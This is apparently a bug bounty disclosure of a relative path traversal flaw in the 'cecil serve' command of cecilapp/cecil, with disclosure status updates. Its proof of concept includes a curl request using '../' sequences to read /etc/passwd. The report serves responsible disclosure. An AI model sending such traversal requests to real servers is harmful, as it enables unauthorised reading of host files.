Relative Path Traversal vulnerability in the serve command in cecilapp/cecil
Valid
Reported on
Sep 7th 2023
Description
When a Cecil site is served by cecil serve, Relative Path Traversal is possible via the URI path.
Proof of Concept
Run the following commands:
mkdir cecil-path-traversal-poc
cd cecil-path-traversal-poc
curl -L https://cecil.app/cecil.phar -o cecil
chmod +x cecil
./cecil new:site -n
./cecil serve
Then curl --path-as-is http://localhost:8000/../../../../../../../../etc/passwd.
Impact
When a Cecil site is served by cecil serve, unauthenticated remote attackers can read any file on the host filesystem.
We are processing your report and will contact the
cecilapp/cecil
team within 24 hours.
14 days ago
We have contacted a member of the
cecilapp/cecil
team and are waiting to hear back
12 days ago
The researcher's credibility has increased: +7
to join this conversation